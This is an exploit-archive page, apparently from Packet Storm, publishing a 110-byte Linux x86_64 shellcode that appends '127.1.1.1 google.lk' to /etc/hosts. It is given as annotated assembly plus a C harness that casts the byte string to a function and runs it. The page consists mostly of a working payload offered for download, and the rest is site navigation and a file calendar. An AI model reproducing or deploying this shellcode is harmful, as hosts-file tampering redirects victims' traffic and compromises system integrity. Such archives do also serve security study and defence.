exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Google.lk Mapping Addition To /etc/hosts Shellcode

Google.lk Mapping Addition To /etc/hosts Shellcode
Posted Oct 29, 2014
Authored by Osanda Malith

110 byte shellcode that adds an entry for google.lk to /etc/hosts.

tags | shellcode
SHA-256 | 2a29f118b2f3d44252f36a47223954660e1741b17e76194ef86d6c3da1d82e4d

Google.lk Mapping Addition To /etc/hosts Shellcode

Change Mirror Download
/*
; Title: Add map in /etc/hosts file - 110 bytes
; Date: 2014-10-29
; Platform: linux/x86_64
; Website: http://osandamalith.wordpress.com
; Author: Osanda Malith Jayathissa (@OsandaMalith)

global _start
section .text

_start:
;open
xor rax, rax
add rax, 2 ; open syscall
xor rdi, rdi
xor rsi, rsi
push rsi ; 0x00
mov r8, 0x2f2f2f2f6374652f ; stsoh/
mov r10, 0x7374736f682f2f2f ; /cte/
push r10
push r8
add rdi, rsp
xor rsi, rsi
add si, 0x401
syscall

;write
xchg rax, rdi
xor rax, rax
add rax, 1 ; syscall for write
jmp data

write:
pop rsi
mov dl, 19 ; length in rdx
syscall

;close
xor rax, rax
add rax, 3
syscall

;exit
xor rax, rax
mov al, 60
xor rdi, rdi
syscall

data:
call write
text db '127.1.1.1 google.lk'
*/

#include <stdio.h>
#include <string.h>

unsigned char code[] = "\x48\x31\xc0\x48\x83\xc0\x02\x48"
"\x31\xff\x48\x31\xf6\x56\x49\xb8"
"\x2f\x65\x74\x63\x2f\x2f\x2f\x2f"
"\x49\xba\x2f\x2f\x2f\x68\x6f\x73"
"\x74\x73\x41\x52\x41\x50\x48\x01"
"\xe7\x48\x31\xf6\x66\x81\xc6\x01"
"\x04\x0f\x05\x48\x97\x48\x31\xc0"
"\x48\x83\xc0\x01\xeb\x18\x5e\xb2"
"\x13\x0f\x05\x48\x31\xc0\x48\x83"
"\xc0\x03\x0f\x05\x48\x31\xc0\xb0"
"\x3c\x48\x31\xff\x0f\x05\xe8\xe3"
"\xff\xff\xff\x31\x32\x37\x2e\x31"
"\x2e\x31\x2e\x31\x20\x67\x6f\x6f"
"\x67\x6c\x65\x2e\x6c\x6b";


int
main() {
printf("Shellcode Length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();

}
/*EOF*/
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close